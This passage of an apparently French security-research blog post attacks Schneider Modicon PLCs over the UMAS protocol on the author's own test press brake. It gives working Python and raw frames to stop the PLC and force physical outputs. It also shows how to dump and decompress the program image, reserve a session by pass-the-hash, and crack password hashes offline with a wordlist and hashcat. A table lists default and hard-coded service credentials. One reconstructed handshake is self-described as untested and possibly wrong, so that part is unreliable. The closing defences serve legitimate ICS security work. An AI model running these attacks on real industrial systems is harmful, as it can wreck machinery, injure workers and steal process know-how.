Pourquoi 0x01 et 0x02 ? Ce sont les images %I et %Q, les adresses internes 0x45 et 0x48 que j’ai retrouvées dans le diagnostic du rack. Le module déclare lui-même ses T_DIS_IN sur 8 voies à partir de la voie 0, et ses T_DIS_OUT sur 8 voies à partir de la 16. Tout se recoupe à l’octet près.

Lire une variable, pas juste une E/S (0x50)

L’image E/S (0x70), c’est bien pour les entrées/sorties physiques. Mais pour lire n’importe quelle variable du programme (un mot interne, un compteur, une consigne), il y a 0x50 (MONITOR_VARIABLES). C’est le mécanisme derrière la table d’animation de Control Expert, celle qui affiche les valeurs en direct pendant que tu bosses. Tu demandes une adresse et une taille, l’auto te rend la valeur, en live. Même helper, avec un descripteur 09 (lecture par adresse), mais cette fois avec ta session réservée (sess), et non plus 0x00 :

req = bytes.fromhex("15000209010c00020007")   # 0x50 : lis 2 octets @0x000c (un mot 16 bits)
_, _, d = umas(sess, 0x50, req)               # sess = la session obtenue à la réservation
size = int.from_bytes(d[1:3], "little")
print("valeur =", d[3:3+size].hex())          # -> fbff (la valeur live de la variable)

Du coup, on peut faire quoi ?

Une fois la session en poche : tout.

STOP l’automate (arrêter la prod), un octet :

5A 19 41 FF00

Et hop, l’auto passe en STOP.

Forcer une sortie, genre allumer/éteindre un truc physique de force, peu importe ce que dit le programme. La commande 0x71 prend une adresse de sortie et un octet de commande :

  • 0x03 -> force à 1
  • 0x02 -> force à 0
  • 0x04 -> déforcer
  • 0x00 -> reset
5A 19 71 04000000030001200201 0012 0001000000 03
                                ^              ^
                          la sortie 0x12   force à 1

Wireshark : la trame 0x71 qui force une sortie

En Python, ces deux-là se construisent en quelques lignes (toujours avec le helper umas() du dessus) :

umas(sess, 0x41, b"\xff\x00")                         # STOP l'automate (DESTRUCTIF)

def force(session, off, cmd):     # cmd : 0x03=à 1, 0x02=à 0, 0x04=déforce, 0x00=reset
    data = bytes.fromhex("04000000030001200201") + bytes([0, off]) \
         + bytes.fromhex("0001000000") + bytes([cmd])
    return umas(session, 0x71, data)

force(sess, 0x12, 0x03)                               # force la sortie 0x12 à 1 (DESTRUCTIF)

Tu changes un seul octet (le dernier) et tu passes de « force à 1 » à « force à 0 ». Dans mes captures, j’ai forcé les sorties 16 à 22 (offsets 0x10-0x16). En croisant avec la config du rack, ce sont des sorties physiques du module BMX DDM 16025 (un module mixte 8 entrées / 8 sorties relais TOR).

Et si on veut relire juste après avec 0x70, tu vois l’octet d’état confirmer ton forçage à la borne près :

def lire_sortie(offset):                         # relit l'état d'UNE sortie (session 0x00)
    _, _, d = umas(0x00, 0x70, io_pane(0x02, offset, 1))
    return d[6 + 2]                              # l'octet d'état de la voie

force(sess, 0x10, 0x03); print(hex(lire_sortie(0x10)))   # force à 1 -> 0x05 ou 0x07 (forcé + image)
force(sess, 0x10, 0x02); print(hex(lire_sortie(0x10)))   # force à 0 -> 0x04 ou 0x06 (forcé)
force(sess, 0x10, 0x04)                                  # déforce -> la main revient au programme

La séquence force puis relecture, c’est la preuve que la commande a mordu : le bit2 (forcé) s’allume, et le bit0 (image) suit ta consigne. Le bit1 (live), lui, reflète l’état physique du relais au moment de la lecture : si le programme pilotait déjà la sortie (relais excité), tu verras 0x07 / 0x04 ; si la sortie était au repos, plutôt 0x05 / 0x06. Dans les deux cas, le bit force est bien levé.

Pour une démo qui claque : le chenillard. Forcer une sortie c’est bien, les faire bouger c’est mieux. On force chaque sortie à tour de rôle, et une LED se balade le long du module :

import time
outs = list(range(0x10, 0x17))            # les sorties 16 à 22
for off in outs + outs[::-1]:              # un aller-retour
    force(sess, off, 0x03)                 # allume cette sortie
    time.sleep(0.3)
    force(sess, off, 0x04)                 # puis on déforce -> effet "chenillard"

La session sess et le helper force() viennent d’avant. Pense juste à déforcer tout et libérer la session en sortant, sinon l’automate reste coincé sur tes forçages.

Et sur ma vraie maquette, ça donne quoi ?

« UMAS n'est pas documenté publiquement, donc inexploitable… pas vrai ? »

Toute cette théorie, une fois digérée, je l’ai recompilée en un petit script maison pointé sur ma presse plieuse. Le principe est exactement celui du dessus : je réserve l’automate, puis je force ses sorties une à une pour faire bouger la bête dans tous les sens, sans jamais toucher au programme qui tourne dedans.

Mon script force les sorties à distance : la presse part dans tous les sens.

Outre le côté « impressionnant » de cette énorme plieuse qui part en cacahuète, on peut aussi imaginer des scénarios plus discrets : de petits changements, du type mauvaise prise de pièce ou décalage dans le cycle, qui peuvent finir en casse.

Un simple décalage dans le cycle, et la pièce casse.

Le moment de voler le programme en 3 lignes de Python

Voler le programme de l'automate, l'air de rien

Quand on télécharge le programme depuis l’auto (fonction 0x34), on récupère une image binaire (~100 Ko, le format Schneider APX).

D’abord, comment on la récupère, cette image ? On ouvre l’upload avec 0x33, on tire les blocs un par un avec 0x34 (en incrémentant le numéro de bloc), et on referme avec 0x35. Chaque réponse 0x34 porte un petit en-tête [flag dernier-bloc 2o][longueur 2o] suivi des données du bloc, et c’est ce flag (à 0 sur les blocs courants, non nul sur le dernier) qui dit quand s’arrêter. Toujours avec le helper umas() et la session réservée sess :

# aspirer le programme : transfert 0x33 (init) -> 0x34 (bloc par bloc) -> 0x35 (fin)
umas(sess, 0x33, bytes.fromhex("0001fd03"))          # on ouvre le transfert (upload)
image, blk = b"", 1
while True:
    _, _, d = umas(sess, 0x34, bytes.fromhex("0001") + blk.to_bytes(2, "little"))  # demande le bloc n°blk
    dernier = d[0:2] != b"\x00\x00"                   # réponse : [flag dernier-bloc 2o][longueur 2o][données]
    n = int.from_bytes(d[2:4], "little")              # longueur des données du bloc
    image += d[4:4+n]                                 # on empile le morceau
    if dernier:                                       # bloc final marqué -> on sort
        break
    blk += 1
umas(sess, 0x35, bytes.fromhex("0001"))              # on referme le transfert
# image = les ~100 Ko de l'APX, prêts à décompresser

Deux points de robustesse pour que ça marche vraiment sur une cible différente. D’abord, un bloc peut dépasser 512 octets et être découpé sur plusieurs segments TCP : le umas() minimaliste du début (un seul recv(512)) ne suffit plus ici, il faut lire l’en-tête MBAP, récupérer le champ Longueur, et lire exactement ce nombre d’octets, sinon tu empiles des blocs tronqués. Ensuite, l’offset du flux zlib (le 99279 du bout de code suivant) est propre à mon image : ne le code pas en dur, scanne plutôt image à la recherche des magic zlib (78 9c, 78 01, 78 da) et décompresse chaque flux (dans ma capture, ça donne une quinzaine de flux, dont un <?xml …><Diagnostic> en clair d’entrée de jeu). Les valeurs 0001/fd03 de l’init, elles, sont constantes (identiques dans mes deux captures, quelle que soit la session), donc reproductibles telles quelles.

Écrire un programme dans l’auto, c’est le miroir (0x30 init, 0x31 par blocs, 0x32 fin) : c’est comme ça qu’un attaquant réinjecterait une logique modifiée. Nuance importante côté reproductibilité : en lecture, les blocs sont numérotés de 1 à N en continu (simple boucle) ; en écriture, ce sont les blocs du programme précis qu’on pousse, avec des index parfois espacés, donc ça ne se « rejoue » pas de façon générique. Mais restons côté lecture, c’est déjà bien assez parlant.

Une fois image en main, la vraie surprise. Tu te dis « ok c’est compilé, c’est chiffré, j’y verrai rien ». Bah non. L’image APX, c’est un conteneur de flux zlib. Pas chiffré. Juste compressé. (Attention, ça c’est le dump réseau d’un automate en marche. Le cas où le fichier projet est vraiment protégé, voire chiffré, par un mot de passe, on le verra plus bas, et il y en a même plusieurs sortes.)

Donc tu prends l’image, tu décompresses un flux, et… tu tombes sur le code source du programme. En clair. Sans aucun outil Schneider :

import zlib
out = zlib.decompress(image[99279:])
print(out)

Et ça crache :

IF wAtkBits.15 THEN
    Q1 := wAtkBits.0;
    Q2 := wAtkBits.1;
    Q3 := wAtkBits.2;
    Q4 := wAtkBits.3;
END_IF;

Du Texte Structuré, lisible, avec les noms de variables. En décompressant tous les flux, j’ai récupéré le programme complet (oui, bon j’ai fait le programme moi donc j’ai rien appris de nouveau): un Grafcet (la machine à états de la presse plieuse), des sections Ladder, du Texte Structuré, les symboles, la config matérielle… et même, en clair sur le réseau, le chemin du fichier projet :

C:\Users\yoyo\Desktop\bending_machine_v3_180526.STU

Au passage, sans rien émettre, la capture crache aussi le nom du PC d’ingénierie (BOOK-1O96RBKNNR, du Windows par défaut dans toute sa splendeur) et le fait que le projet vit sur le Bureau, comme chez nous tous. Et c’est là tout l’enjeu sur une cible réelle : une simple écoute passive du réseau suffit à récupérer le nom de la machine d’ingénierie, l’arborescence du projet et, avec les sources, tout le savoir-faire.

Piège de vocabulaire (upload vs download). Les étiquettes Upload/Download sont un vrai bourbier : elles sont inversées entre le logiciel et le protocole, et (pire) les chercheurs ne les nomment même pas pareil. Le seul truc fiable, c’est le sens des octets, que j’ai vérifié : ce que Control Expert appelle Upload (« lire depuis l’automate ») utilise les fonctions 0x33/0x34/0x35, et son Download (« écrire dans l’automate ») les 0x30/0x31/0x32. 0x34 ramène bien les données de l’automate vers le PC. Ne te fais pas avoir par les étiquettes.

En vrai, la mécanique est logique une fois qu’on la voit : chaque transfert est un triplet début -> blocs -> fin, 0x30 puis 0x31 (répété par blocs) puis 0x32 dans un sens, 0x33 puis 0x34 (répété) puis 0x35 dans l’autre. Dans mes deux captures, je retrouve exactement ça : 0x30, quatre-vingt-neuf 0x31, 0x32 (un download vers l’auto), et 0x33, cent-deux 0x34, 0x35 (l’upload du programme que je récupère). Ce sont donc bien les noms INITIALIZE_UPLOAD / DOWNLOAD_BLOCK qui partent en vrille selon la source (le dissecteur Wireshark colle même « upload » et « download » dans le même triplet, et duplique une étiquette par copier-coller), pas la logique des octets.

Et les mots de passe alors ? (parce qu’il y en a)

Bonne question, et c’est LE piège du sujet. On entend « le programme est protégé par mot de passe » et on imagine un gros verrou unique. En vrai il y a plusieurs mots de passe qui n’ont rien à voir entre eux, et le plus simple pour s’y retrouver, ce n’est pas de les lister, c’est de se demander ce que tu veux faire. Selon l’objectif, le mot de passe qui te bloque change, et souvent il n’y en a aucun.

Ton objectifCe qui te bloque (ou pas)
Piloter le PLC (STOP, forçage, reprogrammer)le mot de passe applicatif, et il est contournable
Lire / voler le coderien sur le réseau (le programme n’est jamais chiffré) ; une « protection de sections » existe, mais c’est du carton
Toucher aux services (FTP, web, flash firmware)les comptes de service d’usine, une autre surface, dont certains codés en dur

Le seul qui garde vraiment l’automate, c’est le premier : le mot de passe applicatif. Et le truc contre-intuitif, celui qui fait tout : ce n’est pas un secret propre au PLC, c’est une propriété du projet. Le même mot de passe ouvre le projet dans Control Expert et autorise la connexion à l’automate. Autrement dit, si tu mets la main sur le fichier projet (.STU) réellement chargé sur la cible et que tu casses son mot de passe, tu tiens aussi la clé du PLC. Fichier local et automate partagent une seule et même serrure. Retiens ça, c’est le cœur de la partie : on la creuse d’abord, on balaiera les autres serrures (protection de sections, chiffrement de fichier, comptes de service) ensuite, là où elles comptent.

Concrètement, pour l’objectif qui compte (piloter), voilà comment tu décroches une session d’écriture, du cas le plus courant au plus dur. On détaille chaque ligne juste après.

Ce que tu as en faceComment tu te connectes
Pas de mot de passe applicatif (le défaut, l’immense majorité)Tu réserves avec un nom bidon, session en poche, tu fais tout. Zéro auth.
Mdp applicatif, firmware vulnérable (le gros du parc installé)Pass-the-hash : tu voles pwdhash sur le réseau (bloc 0x14, ou capturé dans un transfert de projet) et tu le rejoues. Sans jamais connaître le mot de passe.
Mdp applicatif, mais tu as le .STU de la cibleLe fichier te donne pwdhash : gratos s’il n’est pas chiffré (le défaut), sinon il faut d’abord défaire le chiffrement de fichier. Ensuite tu le rejoues en pass-the-hash (ça marche même firmware à jour), ou tu le crackes pour le mot de passe en clair.
Mdp applicatif, firmware à jour, aucun fichier, mot de passe fortLà, enfin, ça tient : ni vol du hash sur le réseau (canal chiffré, 0x14 fermé), ni crack (pas de hash sous la main). Il te reste le social (SHIFT+F2, usurper la preuve de propriété auprès du support).

Le mot de passe applicatif à l’octet (et pourquoi il ne te sauve pas)

Creusons-le. Schneider écrit noir sur blanc, dans sa doc « Setting Passwords », que le même mot de passe sert à « Open the application » ET « Connect to the PAC » : l’automate n’a aucun secret de programmation propre à lui. Reste à voir comment il vérifie ce mot de passe, et c’est ce détail qui casse tout. Quand le mot de passe applicatif est activé, tu imagines un vrai login. Non, tout le calcul se fait sur le PC, l’automate ne fait que comparer un hash.

Le PLC garde deux chaînes base64 dans le bloc mémoire 0x14 :

  • pwdsalt = 16 octets aléatoires
  • pwdhash = SHA256(pwdsalt || motdepasse), et le mot de passe en clair n’est jamais ni stocké ni envoyé

(Précision de firmware : ce SHA256 salé « propre » vaut pour l’Application Password moderne, à partir du firmware v3.01 ; avant, le mécanisme de protection était plus faible, cf. CVE-2020-28212.)

Une réservation authentifiée, c’est trois temps :

1.  0x20  ReadMemoryBlock(0x14)   ->  pwdsalt (+ pwdhash avant firmware 3.50)   [AUCUNE auth]
2.  0x6E  échange de nonces        ->  le PC envoie Nonce_PC, le PLC rend Nonce_PLC (32 o chacun, en clair)
3.  0x10  TryReserve(auth_secret)  ->  le PLC compare, rend la clé de session (1 octet)

Et le secret de l’étape 3, à l’octet près, reproductible en Python trivialement :

import hashlib, base64
def auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc):   # ce que Control Expert calcule
    blob = (nonce_plc
            + base64.b64encode(pwdsalt) + b"\r\n"
            + base64.b64encode(pwdhash) + b"\r\n"
            + nonce_pc)
    return hashlib.sha256(blob).digest()                  # -> à renvoyer dans le 0x10

Le hic ? Le seul secret là-dedans, c’est pwdhash, pas le mot de passe. Et pwdhash vivait dans le bloc 0x14, que le 0x20 ReadMemoryBlock rend sans s’authentifier. D’où deux angles :

  • En ligne, même pas besoin de deviner. Tu lis pwdsalt/pwdhash en 0x20, tu sniffes les deux nonces (en clair), tu recalcules auth_secret, tu le renvoies en 0x10, et tu réserves sans jamais connaître le mot de passe. Pass-the-hash. C’est ModiPwn (CVE-2021-22779).
  • Hors ligne, si tu veux le vrai mot de passe (pour ouvrir Control Expert, par exemple). Comme pwdhash = SHA256(pwdsalt || pwd) est un SHA-256 d’un seul tour à sel connu, tu le crackes à la wordlist en local :
for mot in open("rockyou.txt", "rb"):                     # crack offline, une fois pwdsalt/pwdhash volés
    mot = mot.strip()
    if hashlib.sha256(pwdsalt + mot).digest() == pwdhash:
        print("mot de passe =", mot.decode()); break

Et comme c’est un SHA-256 salé des plus standards, un hashcat fait le même boulot. Le sel étant en préfixe (SHA256(salt || pass)), c’est le mode 1420. Et comme il fait 16 octets binaires (il circule en base64 dans le bloc 0x14, à décoder puis ré-encoder en hex), il faut l’option --hex-salt :

# hash.txt : une ligne  pwdhash_hex:pwdsalt_hex   (64 caractères hex : 32 caractères hex)
hashcat -m 1420 --hex-salt hash.txt rockyou.txt

Chaque durcissement de firmware ferme une porte. Piège de nommage, ces numéros sont côté M340, le M580 a sa propre numérotation, d’où les deux colonnes (Kaspersky, avis SEVD-2021-194-01) :

Ce qui se fermeM340M580
Vol de pwdhash en 0x14 non authentifié (ModiPwn)v3.50SV4.10
Nonces 0x6E chiffrés (Diffie-Hellman + AES-256), fini le sniff passifv3.60SV4.10

Corollaire qu’on retrouve en défense : le M580 n’a pas de v3.60, sa branche v3.x s’arrête à v3.30 (non sécurisée). Un M580 trop vieux pour passer en v4 reste donc sans jamais ce durcissement.

Sauf que (twist 2024, Zaltzman & Wool à Black Hat EU, démontré sur M340), même patché, le pass-the-hash revient : pwdsalt/pwdhash re-transitent (base64) à chaque upload/download de projet, donc tu captures un transfert de programme, tu récupères le hash, et tu réserves de nouveau sans le mot de passe (CVE-2024-8933). Et le Diffie-Hellman de la 3.60 n’étant pas authentifié, un MITM (ARP spoofing) récupère aussi les nonces (CVE-2024-8935).

Puis en 2026 : ces deux failles ont fini par être corrigées (révision Schneider SEVD-2024-317-02 d’avril 2026, M340 en SV3.70 et Control Expert en V16.2 HF003 ; le Modicon MC80, lui, reste non corrigé). Donc en théorie, sur un automate à jour, mot de passe applicatif activé et canal chiffré, l’attaquant purement passif est bloqué. En théorie. Parce qu’un PLC vit dix, quinze, vingt ans sur une ligne de prod et n’est quasiment jamais mis à jour : l’écrasante majorité du parc installé tourne encore sur des firmwares vulnérables, patch disponible ou pas. Le correctif existe, il n’est simplement pas déployé, quand il n’est pas carrément inexistant (beaucoup de ces défauts sont insecure-by-design, sans correctif du tout).

Et même à jour, la porte ne se referme jamais tout à fait, et c’est un défaut de conception, pas un bug : la réservation valide une preuve de connaissance du pwdhash, calculée côté client (Zaltzman & Wool, textuellement : « regardless of the firmware version »). Le PLC ne stocke que le hash, il est donc incapable de distinguer « connaît le mot de passe » de « connaît le hash ». Les correctifs 2024/2026 ferment les moyens de voler le hash sur le fil (transfert de projet, MITM), pas le fait de rejouer un hash qu’on détient déjà. Donc si tu te procures le pwdhash autrement (un .STU de la cible qui a fuité, un vieux firmware qui traîne), tu réserves même un automate patché, sans même le cracker.

Et concrètement, avec le mot de passe en poche ?

Admettons le cas « propre » : un automate à jour, mot de passe applicatif activé, et tu as le mot de passe (le vrai, ou celui que tu viens de cracker offline). Note que le handshake chiffré ci-dessous a été reversé sur M340 (v3.60) ; le M580 durcit son auth sur sa ligne v4.x (SV4.10), analogue mais non publiquement décortiquée. La réservation authentifiée se scripte comme le reste, on rejoue juste le handshake complet. Voici la reconstruction du flux d’après les formules publiées par Zaltzman & Wool à Black Hat EU 2024 (je ne l’ai pas testée en live, et c’est bien une reconstruction : les auteurs, comme Tenable, ont gardé leur PoC pour eux, il n’existe aucun code public complet pour la partie authentifiée) :

import os, hashlib      # auth_secret() et le helper umas() viennent d'au-dessus

MDP = b"le_mot_de_passe"                          # connu, ou récupéré par le crack offline du dessus

# 1. lire le sel dans le bloc mémoire 0x14 (0x20 ReadMemoryBlock) et recalculer le hash soi-même
_, _, blk = umas(0x00, 0x20, req_lecture_bloc(0x14))
pwdsalt = extraire_pwdsalt(blk)                   # 16 octets (décodés du base64 du bloc)
pwdhash = hashlib.sha256(pwdsalt + MDP).digest()

# 2. échange de nonces (0x6E) : on envoie le nôtre, le PLC renvoie le sien
nonce_pc = os.urandom(32)
_, _, r = umas(0x00, 0x6E, nonce_pc)
nonce_plc = r[:32]

# 3. on calcule auth_secret et on réserve (0x10) avec
secret = auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc)
_, _, d = umas(0x00, 0x10, req_reservation(secret))
print("session authentifiée =", hex(d[-1]))

À partir de la 3.60 (M340) ou de la ligne v4 (M580), ce 0x6E se blinde : un Diffie-Hellman établit une clé, et les nonces transitent chiffrés en AES-256. Sauf que mon automate à moi est bien trop vieux pour ce firmware, et il ne peut même pas être mis à jour (le piège matériel PV ≤ 3, détaillé plus bas). Je n’ai donc aucun moyen de tester cette partie sur du vrai matériel : ce qui suit, c’est ma reconstitution d’après les formules publiées (Zaltzman & Wool), et grandement assisté par mon ami Claude, et honnêtement je doute que ce soit exactement ça. À prendre comme une piste de départ (pour du fuzzing), pas comme une vérité :

import os, hashlib
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes

# Diffie-Hellman : groupe RFC 3526 nº14 (MODP 2048 bits), générateur g = 2
G = 2
P = int("FFFFFFFFFFFFFFFFC90FDAA22168C234...FFFFFFFFFFFFFFFF", 16)   # le premier du group 14 (voir RFC 3526)

# 1er aller-retour (Mode 0x03) : on échange les clés publiques DH, 256 octets chacune
a = int.from_bytes(os.urandom(32), "big")
A = pow(G, a, P).to_bytes(256, "big")                         # notre clé publique g^a
_, _, r = umas(0x00, 0x6E, b"\x03" + reserver_id + A)
dh_pub_plc = r[2:2+256]                                       # celle du PLC (après le magic 0xAAAA)
dh_shared  = pow(int.from_bytes(dh_pub_plc, "big"), a, P).to_bytes(256, "big")

# on dérive la clé AES-256 et on prépare le chiffrement (AES-256-CBC, IV nul, 32 o = 2 blocs, sans padding)
aes_salt   = os.urandom(16)
aes_secret = hashlib.sha256(aes_salt + dh_shared).digest()    # SHA256(salt || secret partagé) = clé AES
def aes(data, sens):
    c = Cipher(algorithms.AES(aes_secret), modes.CBC(b"\x00"*16))
    x = c.encryptor() if sens == "enc" else c.decryptor()
    return x.update(data) + x.finalize()

# 2e aller-retour (Mode 0x04) : nonces chiffrés
nonce_pc = os.urandom(32)
_, _, r = umas(0x00, 0x6E, b"\x04" + reserver_id + aes(nonce_pc, "enc") + aes_salt)
nonce_plc = aes(r[2:2+32], "dec")

# à partir de là, même auth_secret qu'avant, puis TryReserve 0x10
secret = auth_secret(pwdsalt, pwdhash, nonce_pc, nonce_plc)
_, _, d = umas(0x00, 0x10, req_reservation(secret.hex().encode()))   # a priori le digest en hex ASCII (64 o)
print("session authentifiée =", hex(d[-1]))

Et franchement, plein de détails là-dedans peuvent être faux (l’encodage exact de l’auth_secret, le padding, la longueur du secret DH…) : faute de matériel compatible, je n’ai rien pu vérifier. Le truc à retenir, ce n’est pas le code au bit près, c’est que sur un automate vraiment à jour, connaître le mot de passe ne suffit plus à copier-coller un PoC : il faut refaire ce handshake chiffré soi-même. C’est là que la mise à jour et le mot de passe fort commencent enfin à payer.

Et si le programme a un mot de passe ? (lire/voler le code)

Excellente question, et pour y répondre il faut séparer deux choses qu’on mélange sans arrêt : l’accès (ai-je le droit de lancer le transfert ?) et le chiffrement (ce qui sort est-il illisible ?). La réponse courte, vérifiée chez Zaltzman & Wool et Kaspersky : sur le fil, le programme UMAS n’est jamais chiffré, seulement compressé, quel que soit le firmware. Le mot de passe applicatif, lui, est une serrure d’accès (et contournable), pas un chiffrement du transport. Ça se joue à deux endroits : sur le réseau, ou sur un fichier qui traîne.

Depuis le réseau, c’est plié. Sans mot de passe applicatif (le défaut, hyper courant), tu réserves, tu uploades, tu récupères l’APX en clair-compressé, exactement comme le script plus haut, zéro mot de passe. Avec mot de passe applicatif activé, l’upload devient une fonction réservée, mais ça ne te sauve pas : d’un, le mot de passe ne chiffre rien (le programme revient en clair-compressé même authentifié) ; de deux, la réservation est contournable (pass-the-hash / ModiPwn, vu plus haut), donc on aspire souvent le programme sans même connaître le mot de passe. Dump réseau = zéro mot de passe à casser et zéro chiffrement à défaire.

La nuance qui compte (dump ≠ toujours les sources). L’automate garde toujours le compilé et la config. Pour reconstruire un .STU propre (commentaires, symboles, structure des sections), il faut avoir coché « Upload Information » au download. Si ça a été désactivé, ton upload te rend la logique qui tourne mais pas un projet source complet. Dans ma capture, tout était là, commentaires compris.

Le seul cas où il faut vraiment « casser », c’est un fichier projet local. On te file un .STU/.STA verrouillé, sans l’automate. Et là encore, c’est mou du genou :

  • L’export délave la protection (Control Expert ≤ V15.0) : une fois le projet ouvert légitimement, un export .XEF/.ZEF en produit une copie sans aucun mot de passe (FAQ Schneider FAQ000239357), rediffusable en clair. Affaiblissement, pas contournement d’ouverture.
  • Le fichier contient le hash de l’applicatif (A). Un .STU non chiffré porte le couple pwdsalt + pwdhash = SHA256(pwdsalt || mdp), le même binaire APX que sur l’automate (Kaspersky KLCERT-21-007). Pas le mot de passe en clair (jamais stocké), mais son hash, que tu craques à la wordlist (hashcat -m 1420) ou rejoues en pass-the-hash. Et comme cet applicatif ouvre aussi le PLC, un .STU qui traîne = de quoi piloter l’automate. Seule condition, que ce soit le .STU du projet réellement chargé sur la cible (un programme fait dans ton coin ne contient pas le secret de la cible). Le sel est aléatoire par projet, donc pas de rainbow table universelle, au contraire du M221 ci-dessous.
  • La protection de sections est du carton. L’option Crypted qui masque des sections de code repose sur un hash maison : sortie limitée à A-Z/0-9, collisions à gogo. Tenable montre que acq, asq, isy et qsq donnent tous 5DF. Pas besoin du vrai mot de passe, t’en trouves un qui collisionne en un clin d’œil. Mais rappelle-toi : ça ne masquait que l’affichage du code, jamais la connexion au PLC.
  • Le vrai chiffrement, lui, est optionnel et hors réseau. Par défaut, un projet « protégé » n’est même pas chiffré, juste obfusqué. Le seul vrai chiffrement, c’est l’option File encryption (V15 SP1+) : elle chiffre le .STU au repos en AES-256, avec un mot de passe cryptographiquement distinct de l’applicatif (son propre sel, son propre hash dans l’APX, confirmé par Zaltzman & Wool). Deux limites : désactivée par défaut, et elle ne protège rien sur le réseau (même projet chiffré sur le PC, l’UMAS transite en clair). Mais elle a une vraie utilité, souvent ratée : un .STU chiffré qui fuite ne livre pas pwdhash (il est sous l’AES), donc pas la clé du PLC.
  • CVE-2023-6409 : identifiants en dur permettant d’accéder à un projet protégé par mot de passe applicatif (Control Expert < v16.0).
  • Le « mot de passe perdu » façon Schneider : à l’invite de mot de passe, tu presses SHIFT+F2, une chaîne alphanumérique s’affiche (procédure officielle). Tu la recopies dans un formulaire, tu l’envoies au support Schneider, qui te renvoie sous ~24 h un mot de passe temporaire (valable tant que l’appli n’est pas modifiée). Peut-on être malveillant avec ? Oui, mais sous conditions : il faut déjà avoir le fichier projet en main (le code affiché lui est propre, ça n’ouvre aucun accès distant à l’automate), et surtout tromper le support en usurpant la « preuve de propriété » (purement déclarative : un en-tête et une signature se falsifient trivialement). À retenir : l’existence même de cette procédure de récupération implique que le mot de passe applicatif est récupérable par conception, ce qui le rapproche d’une obfuscation réversible plus que d’un secret cryptographique.

Patché ? Pas vraiment : chiffrer le fichier existe depuis V15 SP1 mais reste optionnel, et un mot de passe cracké depuis un fichier que tu possèdes, aucun firmware ne te l’enlève. La vraie défense est organisationnelle : mot de passe long et unique, chiffrement de fichier activé, et ne pas laisser traîner ses .STU.

Un cas à part, à ne pas mélanger : le M221. Sur cette gamme (SoMachine Basic, aujourd’hui EcoStruxure Machine Expert Basic), le modèle diffère. Côté accès à l’automate, deux mots de passe séparés, un en lecture (upload) et un en écriture (download) (Trustwave SpiderLabs), là où Control Expert n’en a qu’un. Côté fichier, le .smbp est réellement chiffré (AES-256), mais mal : jadis avec une clé codée en dur (CVE-2017-7574), aujourd’hui avec une clé égale à ton mot de passe répété jusqu’à 32 octets et un sel codé en dur sur le hash (CVE-2020-28214). Bref, crack 100 % hors ligne depuis le fichier, alors que le déverrouillage réseau tient sur ~65 000 combinaisons (CVE-2020-7566). On ne rentrera pas dans les détails ici ; le reverse pas à pas est raconté par biero-llagas.

Les comptes de service par défaut (l’autre surface)

Dernière famille, la plus bête : les comptes d’usine des services (web, FTP, flash firmware), publics et documentés par Schneider. Ils ne pilotent pas le procédé, mais ce sont d’autres portes vers l’équipement, à fermer aussi. Le plus célèbre, datadownload : le mot de passe du compte FTP datastorage (stockage carte SD) sur M340 et M580 sous Control Expert, codé en dur et qui n’était pas modifiable avant (FAQ FA231327). Deux pièges : ne pas le coller à la mauvaise gamme (sur M241/M251, le FTP par défaut est Anonymous/Anonymous, pas datadownload), et savoir que « non modifiable » n’est pas éternel (sur M580, le FTP disparaît au profit du HTTPS dès le firmware v4.10).

Petit tour des principales gammes (astuce : sur M340, Premium, Quantum et Momentum, ces comptes viennent du module Ethernet FactoryCast, partagé d’une gamme à l’autre) :

Gamme (logiciel)Comptes par défaut connusÀ savoir
M340 (Control Expert), via FactoryCast BMX NOEUSER/USER (web), sysdiag/factorycast@schneider et ntpupdate/ntpupdate (FTP), loader/fwdownload (flash)comptes système FactoryCast figés ; mot de passe projet vide par défaut
M580 (Control Expert)webuser/webuser (web CPU, changement forcé ≥ v4.02), admin/factorycast (modules BMENOC), datastorage/datadownload (FTP SD, < v4.10), loader/fwdownload (flash)mot de passe projet vide par défaut
M221 (Machine Expert Basic)pas de web/FTP ; mot de passe appli désactivé par défautavant firmware v1.5/1.6, le mdp appli se récupère en Modbus et le fichier se déchiffre via une clé AES en dur SoMachineBasic… (CVE-2017-7575 + CVE-2017-7574)
M241 / M251 (Machine Expert)Administrator/Administrator (changement forcé) ; FTP Anonymous/Anonymous en legacyUser Rights impose un compte dès le reset
Quantum / Premium (Unity), via FactoryCast / NOEUSER/USER, sysdiag/factorycast@schneider, ntpupdate/ntpupdate ; Quantum : backdoors VxWorks en dur (ftpuser/password…)Quantum = Project Basecamp (Digital Bond, 2012)
Momentum (adaptateur ENT)USER/USER, ntpupdate/ntpupdatebase FactoryCast

Le point à retenir n’est pas la liste (pour ça, arnaudsoullie/ics-default-passwords et les FAQ se.com font le taf), c’est la hiérarchie : le vrai danger n’est pas webuser/webuser (modifiable, changement forcé aujourd’hui), c’est le mot de passe projet vide par défaut sur toute la gamme Control Expert, et les comptes en dur (sysdiag, loader/fwdownload, backdoors VxWorks du Quantum) qui, eux, ne se changent jamais.

Bon, et on se défend comment ?

Concrètement, attaque par attaque, ce qui m’aurait bloqué, avec les fonctions natives Schneider qui vont avec.

  • Chiffrer/authentifier le canal, la seule vraie parade au sniff + rejeu. Toute mon attaque part d’une écoute passive : tant que l’UMAS circule en clair sur le 502, je recopie tout. La réponse Schneider, c’est IPsec (ESP : confidentialité + intégrité + anti-rejeu + authentification d’origine). Nuance que beaucoup ratent : sur M580, IPsec n’est pas dans le port du CPU, il est porté par le module de comm Ethernet BMENOC0301/0311 (ou le module OPC UA BMENUA0100 côté Safety), et il faut faire transiter le trafic d’ingénierie par ce module. Bien fait, ça tue mon attaque : plus de sniff en clair, plus de rejeu de ma trame 0x10. (À ne pas confondre avec le Modbus/802 vu plus haut, le TLS standard sur port 802, que Schneider ne déploie pas ici.)
  • Pousse au Modbus sécurisé (la parade standard existe). Pour du Modbus « nu », c’est Modbus/TCP Security (Modbus Organization, 2018) : TLS, certificats X.509 des deux côtés et autorisation par rôle, sur le port 802. Côté Schneider, la réponse est réelle et documentée aussi (IPsec via BMENOC, Application Password, firmwares v4 durcis). Bref, le problème n’est pas l’absence de solution, c’est le déploiement : ces mécanismes restent sous-utilisés, alors que les activer (ou l’exiger de ton intégrateur) élimine l’essentiel de ce que je montre ici.
